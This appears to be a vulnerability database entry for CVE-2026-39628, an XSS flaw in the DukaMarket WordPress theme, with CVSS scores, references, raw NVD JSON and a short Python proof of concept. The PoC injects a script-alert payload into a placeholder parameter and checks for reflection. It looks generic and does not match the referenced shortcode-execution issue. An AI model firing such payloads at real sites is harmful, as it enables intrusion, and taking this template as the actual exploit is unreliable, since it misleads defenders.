CVE-2026-39628

Description

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in kutethemes DukaMarket dukamarket allows Code Injection.This issue affects DukaMarket: from n/a through <= 1.3.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

DukaMarket <= 1.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: DukaMarket Theme <= 1.3.0 XSS / Code Injection PoC
# Date: 2026-04-08
# Vendor: kutethemes

import requests

def check_xss(target_url):
    # The vulnerability allows injection of script tags due to improper neutralization
    payload = "<script>alert('CVE-2026-39628');</script>"
    
    # Targeting a vulnerable parameter (placeholder)
    params = {
        "vulnerable_param": payload
    }
    
    try:
        response = requests.get(target_url, params=params, timeout=10)
        
        # Check if the payload is reflected un-sanitized
        if payload in response.text:
            print("[+] Vulnerability confirmed: XSS is possible.")
            return True
        else:
            print("[-] Vulnerability not detected or patched.")
            return False
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    url = "http://example.com/" # Replace with actual target
    check_xss(url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39628
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39628
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39628/
[4] VulDB https://vuldb.com/cve/CVE-2026-39628
[5] https://patchstack.com/database/Wordpress/Theme/dukamarket/vulnerability/wordpress-dukamarket-theme-1-3-0-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39628", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:33.210", "lastModified": "2026-04-29T10:17:33.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in kutethemes DukaMarket dukamarket allows Code Injection.This issue affects DukaMarket: from n/a through <= 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/dukamarket/vulnerability/wordpress-dukamarket-theme-1-3-0-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}